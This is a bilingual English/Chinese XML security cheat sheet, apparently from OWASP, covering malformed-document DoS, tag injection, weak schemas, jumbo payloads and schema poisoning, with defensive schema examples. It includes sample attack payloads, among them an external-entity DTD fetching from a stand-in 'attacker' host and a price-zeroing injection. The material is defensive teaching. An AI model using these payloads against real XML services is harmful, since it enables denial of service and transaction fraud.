XML Security Cheat Sheet / XML安全备忘录¶
Introduction / 介绍¶
While the specifications for XML and XML schemas provide you with the tools needed to protect XML applications, they also include multiple security flaws. They can be exploited to perform multiple types of attacks, including file retrieval, server side request forgery, port scanning, and brute forcing. This cheat sheet will make you aware of how attackers can exploit the different possibilities in XML used in libraries and software using two possible attack surfaces:
虽然XML和XML模式规范为您提供了保护XML应用程序所需的工具,但它们也包含多个安全漏洞。这些漏洞可以被利用来执行多种类型的攻击,包括文件检索、服务器端请求伪造、端口扫描和暴力破解。这份备忘录将使您了解攻击者如何利用XML在库和软件中使用的不同可能性,包括两个可能的攻击面:
- Malformed XML Documents: Exploiting vulnerabilities that occur when applications encounter XML documents that are not well-formed.
中文:格式不正确的XML文档:利用当应用程序遇到格式不正确的XML文档时出现的漏洞。 - Invalid XML Documents: Exploiting vulnerabilities that occur when documents that do not have the expected structure.
中文:无效的XML文档:利用当文档没有预期结构时出现的漏洞。
Dealing with malformed XML documents / 处理格式不正确的XML文档¶
Definition of a malformed XML document / 格式不正确的XML文档的定义¶
If an XML document does not follow the W3C XML specification's definition of a well-formed document, it is considered "malformed." If an XML document is malformed, the XML parser will detect a fatal error, it should stop execution, the document should not undergo any additional processing, and the application should display an error message. A malformed document can include one or more of the following problems: a missing ending tag, the order of elements into a nonsensical structure, introducing forbidden characters, and so on.
如果一个XML文档不遵循W3C XML规范中良好格式文档的定义,它被认为是“格式不正确的”。如果一个XML文档格式不正确,XML解析器将检测到致命错误,它应该停止执行,文档不应进行任何其他处理,并且应用程序应显示错误消息。格式不正确的文档可能包括以下一个或多个问题:缺少结束标签、元素顺序混乱、引入禁止字符等。
Handling malformed XML documents / 处理格式不正确的XML文档¶
To deal with malformed documents, developers should use an XML processor that follows W3C specifications and does not take significant additional time to process malformed documents. In addition, they should only use well-formed documents, validate the contents of each element, and process only valid values within predefined boundaries.
处理格式不正确的文档时,开发者应使用遵循 W3C 规范且不会显著增加处理格式不正确文档时间的 XML 处理器。 此外,他们应仅使用格式正确的文档,验证每个元素的内容,并仅处理预定义边界内的有效值。
Malformed XML documents require extra time / 格式不正确的 XML 文档需要额外时间¶
A malformed document may affect the consumption of Central Processing Unit (CPU) resources. In certain scenarios, the amount of time required to process malformed documents may be greater than that required for well-formed documents. When this happens, an attacker may exploit an asymmetric resource consumption attack to take advantage of the greater processing time to cause a Denial of Service (DoS).
格式不正确的文档可能会影响中央处理器(CPU)资源的消耗。 在某些情况下,处理格式不正确文档所需的时间可能大于处理格式正确文档所需的时间。当这种情况发生时,攻击者可能会利用非对称资源消耗攻击,利用更长的处理时间来造成拒绝服务(DoS)。
To analyze the likelihood of this attack, analyze the time taken by a regular XML document vs the time taken by a malformed version of that same document. Then, consider how an attacker could use this vulnerability in conjunction with an XML flood attack using multiple documents to amplify the effect.
为了分析这种攻击的可能性,分析正常 XML 文档与该文档格式不正确版本的处理时间。 然后,考虑攻击者如何利用这种漏洞与使用多个文档的 XML 洪水攻击相结合以放大影响。
Applications Processing Malformed Data / 处理格式不正确数据的应用程序¶
Certain XML parsers have the ability to recover malformed documents. They can be instructed to try their best to return a valid tree with all the content that they can manage to parse, regardless of the document's noncompliance with the specifications. Since there are no predefined rules for the recovery process, the approach and results from these parsers may not always be the same. Using malformed documents might lead to unexpected issues related to data integrity.
某些 XML 解析器具有恢复格式不正确文档的能力。 可以指示它们尽力返回一个包含所有可解析内容的有效树,无论文档是否符合规范。 由于恢复过程没有预定义的规则,这些解析器的方法和结果可能并不总是相同。使用格式不正确的文档可能会导致与数据完整性相关的问题。
The following two scenarios illustrate attack vectors a parser will analyze in recovery mode:
以下两个场景说明了解析器在恢复模式下将分析的攻击向量:
Malformed Document to Malformed Document / 格式不正确的文档到格式不正确的文档¶
According to the XML specification, the string -- (double-hyphen) must not occur within comments. Using the recovery mode of lxml and PHP, the following document will remain the same after being recovered:
根据 XML 规范,字符串 --(双破折号)不得出现在注释中。使用 lxml 和 PHP 的恢复模式,以下文档在恢复后保持不变:
<element>
<!-- one
<!-- another comment
comment -->
</element>
Well-Formed Document to Well-Formed Document Normalized / 将格式良好的文档转换为格式良好的文档规范化¶
Certain parsers may consider normalizing the contents of your CDATA sections. This means that they will update the special characters contained in the CDATA section to contain the safe versions of these characters even though is not required:
某些解析器可能会考虑规范化 CDATA 部分的内 容。这意味着它们将更新 CDATA 部分中包含的特殊字符,以包含这些字符的安全版本,即使这不是必需的:
<element>
<![CDATA[<script>a=1;</script>]]>
</element>
Normalization of a CDATA section is not a common rule among parsers. Libxml could transform this document to its canonical version, but although well formed, its contents may be considered malformed depending on the situation:
规范化 CDATA 部分不是解析器之间的常见规则。Libxml 可以将此文档转换为它的规范版本,但尽管格式良好,其内容可能根据情况被认为是格式不正确的:
<element>
<script>a=1;</script>
</element>
Handling coercive parsing / 处理强制解析¶
One popular coercive attack in XML involves parsing deeply nested XML documents without their corresponding ending tags. The idea is to make the victim use up -and eventually deplete- the machine's resources and cause a denial of service on the target. Reports of a DoS attack in Firefox 3.67 included the use of 30,000 open XML elements without their corresponding ending tags. Removing the closing tags simplified the attack since it requires only half of the size of a well-formed document to accomplish the same results. The number of tags being processed eventually caused a stack overflow. A simplified version of such a document would look like this:
在 XML 中,一种流行的强制攻击涉及解析没有相应结束标签的深度嵌套 XML 文档。想法是让受害者耗尽 - 并最终耗尽 - 机器的资源,并在目标上造成拒绝服务。 Firefox 3.67 中关于 DoS 攻击的报告包括使用 30,000 个没有相应结束标签的开放 XML 元素。移除结束标签简化了攻击,因为它只需要格式良好文档大小的一半就能达到相同的效果。正在处理的标签数量最终导致了堆栈溢出。此类文档的简化版本可能如下所示:
<A1>
<A2>
<A3>
...
<A30000>
Violation of XML Specification Rules / 违反 XML 规范规则¶
Unexpected consequences may result from manipulating documents using parsers that do not follow W3C specifications. It may be possible to achieve crashes and/or code execution when the software does not properly verify how to handle incorrect XML structures. Feeding the software with fuzzed XML documents may expose this behavior.
使用不遵循 W3C 规范的解析器操作文档可能会导致意外的后果。当软件没有正确验证如何处理不正确的 XML 结构时,可能实现崩溃和/或代码执行。向软件提供模糊的 XML 文档可能会暴露这种行为。
Dealing with invalid XML documents / 处理无效的 XML 文档¶
Attackers may introduce unexpected values in documents to take advantage of an application that does not verify whether the document contains a valid set of values. Schemas specify restrictions that help identify whether documents are valid, and a valid document is well formed and complies with the restrictions of a schema. More than one schema can be used to validate a document, and these restrictions may appear in multiple files, either using a single schema language or relying on the strengths of the different schema languages.
攻击者可能在文档中引入意外的值,以利用未验证文档是否包含有效值集的应用程序。 架构指定了限制条件,有助于识别文档是否有效,一个有效的文档是格式良好的,并且符合架构的限制。可以使用多个架构来验证文档,这些限制条件可能出现在多个文件中,无论是使用单一架构语言还是依靠不同架构语言的优点。
The recommendation to avoid these vulnerabilities is that each XML document must have a precisely defined XML Schema (not DTD) with every piece of information properly restricted to avoid problems of improper data validation. Use a local copy or a known good repository instead of the schema reference supplied in the XML document. Also, perform an integrity check of the XML schema file being referenced, bearing in mind the possibility that the repository could be compromised. In cases where the XML documents are using remote schemas, configure servers to use only secure, encrypted communications to prevent attackers from eavesdropping on network traffic.
避免这些漏洞的建议是,每个 XML 文档都必须有一个精确定义的 XML 架构(不是 DTD),并且每条信息都必须有适当的限制,以避免不正确数据验证的问题。使用本地副本或已知的良好存储库,而不是 XML 文档中提供的架构引用。此外,对所引用的 XML 架构文件进行完整性检查,考虑到存储库可能被破坏的可能性。在 XML 文档使用远程架构的情况下,配置服务器仅使用安全、加密的通信,以防止攻击者窃听网络流量。
Document without Schema / 无架构的文档¶
Consider a bookseller that uses a web service through a web interface to make transactions. The XML document for transactions is composed of two elements: an id value related to an item and a certain price. The user may only introduce a certain id value using the web interface:
考虑一个使用网络界面通过网络服务进行交易的图书销售商。交易 XML 文档由两个元素组成:与物品相关的 id 值和一定的 price。用户只能使用网络界面输入特定的 id 值:
<buy>
<id>123</id>
<price>10</price>
</buy>
If there is no control on the document's structure, the application could also process different well-formed messages with unintended consequences. The previous document could have contained additional tags to affect the behavior of the underlying application processing its contents:
如果对文档的结构没有控制,应用程序也可能处理不同格式良好的消息,产生意外的后果。之前的文档可能包含额外的标签,以影响处理其内容的底层应用程序的行为:
<buy>
<id>123</id><price>0</price><id></id>
<price>10</price>
</buy>
Notice again how the value 123 is supplied as an id, but now the document includes additional opening and closing tags. The attacker closed the id element and sets a bogus price element to the value 0. The final step to keep the structure well-formed is to add one empty id element. After this, the application adds the closing tag for id and set the price to 10. If the application processes only the first values provided for the ID and the value without performing any type of control on the structure, it could benefit the attacker by providing the ability to buy a book without actually paying for it.
再次注意,值 123 被用作 id,但现在文档包含了额外的开标签和闭标签。攻击者关闭了 id 元素,并将一个虚假的 price 元素设置为值 0。保持结构良好格式的最后一步是添加一个空的 id 元素。之后,应用程序添加 id 的闭标签并将 price 设置为 10。如果应用程序仅处理 ID 提供的第一个值以及不进行任何类型结构控制的值,它可能会使攻击者能够购买书籍而不实际支付。
Unrestrictive Schema / 无限制的架构¶
Certain schemas do not offer enough restrictions for the type of data that each element can receive. This is what normally happens when using DTD; it has a very limited set of possibilities compared to the type of restrictions that can be applied in XML documents. This could expose the application to undesired values within elements or attributes that would be easy to constrain when using other schema languages. In the following example, a person's age is validated against an inline DTD schema:
某些模式对每个元素可以接收的数据类型限制不足。 这通常在使用 DTD 时发生;与在 XML 文档中可以应用的限制类型相比,它具有非常有限的选项。这可能会使应用程序暴露于元素或属性中的不受欢迎的值,而这些值在使用其他模式语言时很容易受到约束。以下示例中,一个人的 age 通过内联 DTD 模式进行验证:
<!DOCTYPE person [
<!ELEMENT person (name, age)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
]>
<person>
<name>John Doe</name>
<age>11111..(1.000.000digits)..11111</age>
</person>
The previous document contains an inline DTD with a root element named person. This element contains two elements in a specific order: name and then age. The element name is then defined to contain PCDATA as well as the element age.
前一个文档包含一个内联 DTD,根元素命名为 person。该元素按特定顺序包含两个元素:name 然后是 age。元素 name 被定义为包含 PCDATA 以及元素 age。
After this definition begins the well-formed and valid XML document. The element name contains an irrelevant value but the age element contains one million digits. Since there are no restrictions on the maximum size for the age element, this one-million-digit string could be sent to the server for this element.
在此定义之后开始的是格式良好且有效的 XML 文档。元素名称包含一个无关紧要的值,但 age 元素包含一百万位数字。由于没有对 age 元素的最大大小进行限制,这个一百万位的字符串可以被发送到服务器用于此元素。
Typically this type of element should be restricted to contain no more than a certain amount of characters and constrained to a certain set of characters (for example, digits from 0 to 9, the + sign and the - sign). If not properly restricted, applications may handle potentially invalid values contained in documents.
通常,此类元素应限制为包含不超过一定数量的字符,并限制为特定的字符集(例如,从 0 到 9 的数字,加号和减号)。如果不进行适当的限制,应用程序可能会处理文档中包含的潜在无效值。
Since it is not possible to indicate specific restrictions (a maximum length for the element name or a valid range for the element age), this type of schema increases the risk of affecting the integrity and availability of resources.
由于无法指示特定的限制(元素 name 的最大长度或元素 age 的有效范围),此类模式增加了影响资源完整性和可用性的风险。
Improper Data Validation / 不正确的数据验证¶
When schemas are insecurely defined and do not provide strict rules, they may expose the application to diverse situations. The result of this could be the disclosure of internal errors or documents that hit the application's functionality with unexpected values.
当模式定义不安全且不提供严格规则时,它们可能会使应用程序暴露于各种情况。这种结果可能导致内部错误的泄露或应用功能受到意外值的攻击。
String Data Types / 字符串数据类型¶
Provided you need to use a hexadecimal value, there is no point in defining this value as a string that will later be restricted to the specific 16 hexadecimal characters. To exemplify this scenario, when using XML encryption some values must be encoded using base64 . This is the schema definition of how these values should look:
如果你需要使用十六进制值,将这个值定义为字符串,然后将其限制为特定的16个十六进制字符,是没有意义的。为了说明这种情况,当使用XML加密时,某些值必须使用base64进行编码。这是这些值应该如何呈现的架构定义:
<element name="CipherData" type="xenc:CipherDataType"/>
<complexType name="CipherDataType">
<choice>
<element name="CipherValue" type="base64Binary"/>
<element ref="xenc:CipherReference"/>
</choice>
</complexType>
The previous schema defines the element CipherValue as a base64 data type. As an example, the IBM WebSphere DataPower SOA Appliance allowed any type of characters within this element after a valid base64 value, and will consider it valid.
前面的架构定义了元素CipherValue为base64数据类型。例如,IBM WebSphere DataPower SOA Appliance允许在有效的base64值之后,在这个元素中使用任何类型的字符,并将其视为有效。
The first portion of this data is properly checked as a base64 value, but the remaining characters could be anything else (including other sub-elements of the CipherData element). Restrictions are partially set for the element, which means that the information is probably tested using an application instead of the proposed sample schema.
数据的前一部分被正确地检查为base64值,但剩余的字符可以是任何其他内容(包括CipherData元素的子元素)。对元素的限制是部分设置的,这意味着信息可能使用应用程序而不是建议的示例架构进行测试。
Numeric Data Types / 数值数据类型¶
Defining the correct data type for numbers can be more complex since there are more options than there are for strings.
定义正确的数值数据类型可能更复杂,因为选项比字符串多。
Negative and Positive Restrictions / 负数和正数限制¶
XML Schema numeric data types can include different ranges of numbers. They can include:
XML Schema数值数据类型可以包括不同范围的数字。它们可以包括:
- negativeInteger: Only negative numbers
中文:negativeInteger:仅负数 - nonNegativeInteger: Positive numbers and the zero value
中文:非负整数: 正数和零值 - positiveInteger: Only positive numbers
中文:正整数: 只有正数 - nonPositiveInteger: Negative numbers and the zero value
中文:非正整数: 负数和零值
The following sample document defines an id for a product, a price, and a quantity value that is under the control of an attacker:
以下示例文档定义了一个产品的 id、价格 和受攻击者控制的 数量 值:
<buy>
<id>1</id>
<price>10</price>
<quantity>1</quantity>
</buy>
To avoid repeating old errors, an XML schema may be defined to prevent processing the incorrect structure in cases where an attacker wants to introduce additional elements:
**为了避免重复之前的错误,可以定义一个 XML 架构来防止攻击者添加额外元素时处理不正确的结构:
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:element name="buy">
<xs:complexType>
<xs:sequence>
<xs:element name="id" type="xs:integer"/>
<xs:element name="price" type="xs:decimal"/>
<xs:element name="quantity" type="xs:integer"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema>
Limiting that quantity to an integer data type will avoid any unexpected characters. Once the application receives the previous message, it may calculate the final price by doing price*quantity. However, since this data type may allow negative values, it might allow a negative result on the user's account if an attacker provides a negative number. What you probably want to see in here to avoid that logical vulnerability is positiveInteger instead of integer.
将 数量 限制为整数数据类型将避免任何意外的字符。一旦应用程序接收到之前的消息,它可以通过执行 price*quantity 来计算最终价格。然而,由于这种数据类型可能允许负值,如果攻击者提供一个负数,可能会允许用户账户出现负结果。为了避免这种逻辑漏洞,你可能在这里想看到的是正整数而不是整数。
Divide by Zero / 除以零¶
Whenever using user controlled values as denominators in a division, developers should avoid allowing the number zero. In cases where the value zero is used for division in XSLT, the error FOAR0001 will occur. Other applications may throw other exceptions and the program may crash. There are specific data types for XML schemas that specifically avoid using the zero value. For example, in cases where negative values and zero are not considered valid, the schema could specify the data type positiveInteger for the element.
在将用户控制的值用作除法的分母时,开发者应避免允许数字零。在 XSLT 中,如果使用零值进行除法,将发生错误 FOAR0001。其他应用程序可能会抛出其他异常,程序可能会崩溃。XML 架构中存在特定的数据类型,专门用于避免使用零值。例如,在负值和零不被视为有效的情况下,架构可以指定元素的数据类型为 positiveInteger。
<xs:element name="denominator">
<xs:simpleType>
<xs:restriction base="xs:positiveInteger"/>
</xs:simpleType>
</xs:element>
The element denominator is now restricted to positive integers. This means that only values greater than zero will be considered valid. If you see any other type of restriction being used, you may trigger an error if the denominator is zero.
denominator 元素现在限制为正整数。这意味着只有大于零的值将被视为有效。如果您看到任何其他类型的限制被使用,如果分母为零,可能会触发错误。
Special Values: Infinity and Not a Number (NaN) / 特殊值:无穷大和不是数字(NaN)¶
The data types float and double contain real numbers and some special values: -Infinity or -INF, NaN, and +Infinity or INF. These possibilities may be useful to express certain values, but they are sometimes misused. The problem is that they are commonly used to express only real numbers such as prices. This is a common error seen in other programming languages, not solely restricted to these technologies.
数据类型 float 和 double 包含实数和一些特殊值:-Infinity 或 -INF、NaN 和 +Infinity 或 INF。这些可能性可能有助于表达某些值,但有时会被误用。问题是它们通常被用来表示仅实数,例如价格。这在其他编程语言中是一个常见的错误,而不仅仅是这些技术所特有的。
Not considering the whole spectrum of possible values for a data type could make underlying applications fail. If the special values Infinity and NaN are not required and only real numbers are expected, the data type decimal is recommended:
不考虑数据类型可能的所有值范围可能会导致底层应用程序失败。如果不需要特殊值 Infinity 和 NaN,而只期望实数,则建议使用 decimal 数据类型:
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:element name="buy">
<xs:complexType>
<xs:sequence>
<xs:element name="id" type="xs:integer"/>
<xs:element name="price" type="xs:decimal"/>
<xs:element name="quantity" type="xs:positiveInteger"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema>
The price value will not trigger any errors when set at Infinity or NaN, because these values will not be valid. An attacker can exploit this issue if those values are allowed.
价格值在设置为无穷大或 NaN 时不会触发任何错误,因为这些值将无效。如果允许这些值,攻击者可以利用这个问题。
General Data Restrictions / 一般数据限制¶
After selecting the appropriate data type, developers may apply additional restrictions. Sometimes only a certain subset of values within a data type will be considered valid:
选择适当的数据类型后,开发者可以应用额外的限制。有时,数据类型内的某些子集值将被视为有效:
Prefixed Values / 前缀值¶
Certain types of values should only be restricted to specific sets: traffic lights will have only three types of colors, only 12 months are available, and so on. It is possible that the schema has these restrictions in place for each element or attribute. This is the most perfect allow-list scenario for an application: only specific values will be accepted. Such a constraint is called enumeration in an XML schema. The following example restricts the contents of the element month to 12 possible values:
某些类型的值应仅限于特定的集合:交通灯只有三种颜色,只有12个月份,等等。可能模式为每个元素或属性都设置了这些限制。这是应用程序最完美的允许列表场景:只接受特定的值。这种约束在XML模式中称为枚举。以下示例限制了元素月份的内容只能为12个可能的值:
<xs:element name="month">
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:enumeration value="January"/>
<xs:enumeration value="February"/>
<xs:enumeration value="March"/>
<xs:enumeration value="April"/>
<xs:enumeration value="May"/>
<xs:enumeration value="June"/>
<xs:enumeration value="July"/>
<xs:enumeration value="August"/>
<xs:enumeration value="September"/>
<xs:enumeration value="October"/>
<xs:enumeration value="November"/>
<xs:enumeration value="December"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
By limiting the month element's value to any of the previous values, the application will not be manipulating random strings.
通过将月份元素的值限制为上述任何值,应用程序将不会操作随机的字符串。
Ranges / 范围¶
Software applications, databases, and programming languages normally store information within specific ranges. Whenever using an element or an attribute in locations where certain specific sizes matter (to avoid overflows or underflows), it would be logical to check whether the data length is considered valid. The following schema could constrain a name using a minimum and a maximum length to avoid unusual scenarios:
软件应用程序、数据库和编程语言通常在特定的范围内存储信息。当在某个元素或属性的位置使用时,如果特定的尺寸很重要(以避免溢出或下溢),检查数据长度是否被认为是有效的将是合理的。以下模式可能使用最小和最大长度限制名称,以避免不寻常的场景:
<xs:element name="name">
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:minLength value="3"/>
<xs:maxLength value="256"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
In cases where the possible values are restricted to a certain specific length (let's say 8), this value can be specified as follows to be valid:
在可能值被限制为特定长度的情况下(比如说8),此值可以如下指定为有效:
<xs:element name="name">
<xs:simpleType>
<xs:restriction base="xs:string">
<xs:length value="8"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
Patterns / 模式¶
Certain elements or attributes may follow a specific syntax. You can add pattern restrictions when using XML schemas. When you want to ensure that the data complies with a specific pattern, you can create a specific definition for it. Social security numbers (SSN) may serve as a good example; they must use a specific set of characters, a specific length, and a specific pattern:
某些元素或属性可能遵循特定的语法。当使用XML模式时,您可以添加pattern限制。当您想确保数据符合特定模式时,您可以为此创建一个特定的定义。社会保险号(SSN)可以作为一个很好的例子;它们必须使用一组特定的字符、特定的长度和特定的pattern:
<xs:element name="SSN">
<xs:simpleType>
<xs:restriction base="xs:token">
<xs:pattern value="[0-9]{3}-[0-9]{2}-[0-9]{4}"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
Only numbers between 000-00-0000 and 999-99-9999 will be allowed as values for a SSN.
只有000-00-0000和999-99-9999之间的数字将被允许作为SSN的值。
Assertions / 断言¶
Assertion components constrain the existence and values of related elements and attributes on XML schemas. An element or attribute will be considered valid with regard to an assertion only if the test evaluates to true without raising any error. The variable $value can be used to reference the contents of the value being analyzed.
断言组件限制XML模式中相关元素和属性的存在和值。只有当测试结果为真且不引发任何错误时,元素或属性才会被视为与断言有效。变量$value可以用来引用正在分析的价值内容。
The Divide by Zero section above referenced the potential consequences of using data types containing the zero value for denominators, proposing a data type containing only positive values. An opposite example would consider valid the entire range of numbers except zero. To avoid disclosing potential errors, values could be checked using an assertion disallowing the number zero:
上面的除以零部分提到了使用包含零值的数据类型作为分母的潜在后果,建议使用只包含正值的数据类型。相反的例子会考虑除了零之外的所有数值范围是有效的。为了避免泄露潜在的错误,可以使用断言来检查值,不允许数字为零:
<xs:element name="denominator">
<xs:simpleType>
<xs:restriction base="xs:integer">
<xs:assertion test="$value != 0"/>
</xs:restriction>
</xs:simpleType>
</xs:element>
The assertion guarantees that the denominator will not contain the value zero as a valid number and also allows negative numbers to be a valid denominator.
断言保证denominator不会包含零作为有效数字,并允许负数作为有效分母。
Occurrences / 出现次数¶
The consequences of not defining a maximum number of occurrences could be worse than coping with the consequences of what may happen when receiving extreme numbers of items to be processed. Two attributes specify minimum and maximum limits: minOccurs and maxOccurs.
未定义最大出现次数的后果可能比处理接收极端数量项目时可能发生的后果更严重。有两个属性指定最小和最大限制:minOccurs和maxOccurs。
The default value for both the minOccurs and the maxOccurs attributes is 1, but certain elements may require other values. For instance, if a value is optional, it could contain a minOccurs of 0, and if there is no limit on the maximum amount, it could contain a maxOccurs of unbounded, as in the following example:
minOccurs和maxOccurs属性的默认值都是1,但某些元素可能需要其他值。例如,如果值是可选的,它可能包含minOccurs为0,如果没有最大数量的限制,它可能包含maxOccurs为unbounded,如下例所示:
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:element name="operation">
<xs:complexType>
<xs:sequence>
<xs:element name="buy" maxOccurs="unbounded">
<xs:complexType>
<xs:all>
<xs:element name="id" type="xs:integer"/>
<xs:element name="price" type="xs:decimal"/>
<xs:element name="quantity" type="xs:integer"/>
</xs:all>
</xs:complexType>
</xs:element>
</xs:complexType>
</xs:element>
</xs:schema>
The previous schema includes a root element named operation, which can contain an unlimited (unbounded) amount of buy elements. This is a common finding, since developers do not normally want to restrict maximum numbers of occurrences. Applications using limitless occurrences should test what happens when they receive an extremely large amount of elements to be processed. Since computational resources are limited, the consequences should be analyzed and eventually a maximum number ought to be used instead of an unbounded value.
前面的模式包括一个名为operation的根元素,它可以包含无限多(unbounded)的buy元素。这是一个常见的发现,因为开发者通常不希望限制最大出现次数。使用无限出现次数的应用程序应该测试在接收到大量要处理元素时会发生什么。由于计算资源有限,应该分析后果,并最终使用最大值而不是unbounded值。
Jumbo Payloads / 巨型数据包¶
Sending an XML document of 1GB requires only a second of server processing and might not be worth consideration as an attack. Instead, an attacker would look for a way to minimize the CPU and traffic used to generate this type of attack, compared to the overall amount of server CPU or traffic used to handle the requests.
发送一个1GB的XML文档只需要服务器处理一秒钟,可能不值得作为攻击考虑。相反,攻击者会寻找一种方法来最小化生成此类攻击所需的CPU和流量,与处理请求所使用的服务器CPU或流量总量相比。
Traditional Jumbo Payloads / 传统巨型数据包¶
There are two primary methods to make a document larger than normal:
使文档比正常更大的主要有两种方法:
- Depth attack: using a huge number of elements, element names, and/or element values.
- 深度攻击:使用大量的元素、元素名称和/或元素值。
- Width attack: using a huge number of attributes, attribute names, and/or attribute values.
- 宽度攻击:使用大量的属性、属性名称和/或属性值。
In most cases, the overall result will be a huge document. This is a short example of what this looks like:
在大多数情况下,整体结果将是一个巨大的文档。以下是一个简短的例子,展示了它的样子:
<SOAPENV:ENVELOPE XMLNS:SOAPENV="HTTP://SCHEMAS.XMLSOAP.ORG/SOAP/ENVELOPE/"
XMLNS:EXT="HTTP://COM/IBM/WAS/WSSAMPLE/SEI/ECHO/B2B/EXTERNAL">
<SOAPENV:HEADER LARGENAME1="LARGEVALUE"
LARGENAME2="LARGEVALUE2"
LARGENAME3="LARGEVALUE3" …>
...
"Small" Jumbo Payloads / 小型巨型数据包¶
The following example is a very small document, but the results of processing this could be similar to those of processing traditional jumbo payloads. The purpose of such a small payload is that it allows an attacker to send many documents fast enough to make the application consume most or all of the available resources:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "http://attacker/huge.xml" >
]>
<root>&file;</root>
Schema Poisoning¶
When an attacker is capable of introducing modifications to a schema, there could be multiple high-risk consequences. In particular, the effect of these consequences will be more dangerous if the schemas are using DTD (e.g., file retrieval, denial of service). An attacker could exploit this type of vulnerability in numerous scenarios, always depending on the location of the schema.
Local Schema Poisoning¶
Local schema poisoning happens when schemas are available in the same host, whether or not the schemas are embedded in the same XML document.
Embedded Schema¶
The most trivial type of schema poisoning takes place when the schema is defined within the same XML document. Consider the following, unknowingly vulnerable example provided by the W3C :
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
All restrictions on the note element could be removed or altered, allowing the sending of any type of data to the server. Furthermore, if the server is processing external entities, the attacker could use the schema, for example, to read remote files from the server. This type of schema only serves as a suggestion for sending a document, but it must contain a way to check the embedded schema integrity to be used safely. Attacks through embedded schemas are commonly used to exploit external entity expansions. Embedded XML schemas can also assist in port scans of internal hosts or brute force attacks.
Incorrect Permissions / 权限错误¶
You can often circumvent the risk of using remotely tampered versions by processing a local schema.
您可以通过处理本地模式来绕过使用远程篡改版本的风险。
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
However, if the local schema does not contain the correct permissions, an internal attacker could alter the original restrictions. The following line exemplifies a schema using permissions that allow any user to make modifications:
然而,如果本地模式不包含正确的权限,内部攻击者可能会更改原始限制。以下行展示了使用允许任何用户进行修改的权限的模式:
-rw-rw-rw- 1 user staff 743 Jan 15 12:32 note.dtd
The permissions set on name.dtd allow any user on the system to make modifications. This vulnerability is clearly not related to the structure of an XML or a schema, but since these documents are commonly stored in the filesystem, it is worth mentioning that an attacker could exploit this type of problem.
在 name.dtd 上设置的权限允许系统上的任何用户进行修改。这种漏洞显然与XML或模式的结构无关,但由于这些文档通常存储在文件系统中,因此值得提及攻击者可能会利用这种类型的问题。
Remote Schema Poisoning / 远程模式中毒¶
Schemas defined by external organizations are normally referenced remotely. If capable of diverting or accessing the network's traffic, an attacker could cause a victim to fetch a distinct type of content rather than the one originally intended.
由外部组织定义的模式通常远程引用。如果攻击者能够绕过或访问网络的流量,他们可能会使受害者获取与原本意图不同的内容。
Man-in-the-Middle (MitM) Attack / 中间人攻击(MitM)¶
When documents reference remote schemas using the unencrypted Hypertext Transfer Protocol (HTTP), the communication is performed in plain text and an attacker could easily tamper with traffic. When XML documents reference remote schemas using an HTTP connection, the connection could be sniffed and modified before reaching the end user:
当文档使用未加密的超文本传输协议(HTTP)引用远程模式时,通信以纯文本形式进行,攻击者可以轻松篡改流量。当XML文档使用HTTP连接引用远程模式时,连接可能会在到达最终用户之前被嗅探和修改:
<!DOCTYPE note SYSTEM "http://example.com/note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
The remote file note.dtd could be susceptible to tampering when transmitted using the unencrypted HTTP protocol. One tool available to facilitate this type of attack is mitmproxy .
远程文件 note.dtd 在使用未加密的 HTTP 协议传输时可能容易受到篡改。可用于简化此类攻击的工具之一是 mitmproxy 。
DNS-Cache Poisoning / DNS缓存投毒¶
Domain Name System (DNS) cache poisoning can change the IP address returned by a forward hostname lookup and redirect a schema connection. With HTTPS, the client must also verify the certificate against the requested hostname. DNS redirection alone does not let an attacker substitute schema content when that verification succeeds.
域名系统(DNS)缓存投毒可以改变正向主机名查找返回的 IP 地址,并重定向一个方案连接。使用 HTTPS 时,客户端还必须 验证证书与请求的主机名。仅 DNS 重定向本身并不能让攻击者在验证成功时替换方案内容。
The previous example referenced the host example.com using an unencrypted protocol.
上一个示例使用未加密的协议引用了主机 example.com。
When switching to HTTPS, the location of the remote schema is https://example.com/note.dtd. Suppose a hostname lookup normally returns the following address:
当切换到 HTTPS 时,远程方案的地址为 https://example.com/note.dtd。假设主机名查找通常返回以下地址:
$ host example.com
example.com has address 1.1.1.1
If an attacker compromises the DNS being used, the previous hostname could now point to a new, different IP controlled by the attacker 2.2.2.2:
如果攻击者破坏了正在使用的 DNS,那么前面的主机名现在可能指向一个由攻击者控制的新的不同 IP 地址 2.2.2.2:
$ host example.com
example.com has address 2.2.2.2
The redirected HTTPS connection must fail if the attacker cannot present a certificate trusted for example.com. Content substitution requires an additional failure, such as disabled certificate verification or compromise of the certificate trust chain or legitimate server credentials. Keep certificate and hostname verification enabled and stop schema retrieval on verification failure. HTTPS authenticates the server; it does not make a schema safe if the legitimate host is compromised.
如果攻击者无法提供受 example.com 信任的证书,则重定向的 HTTPS 连接必须失败。内容替换需要额外的失败,例如禁用证书验证或破坏证书信任链或合法服务器凭据。保持证书和主机名验证启用,并在验证失败时停止方案检索。HTTPS 验证服务器;如果合法主机被破坏,它不会使方案安全。
Evil Employee Attack / 邪恶员工攻击¶
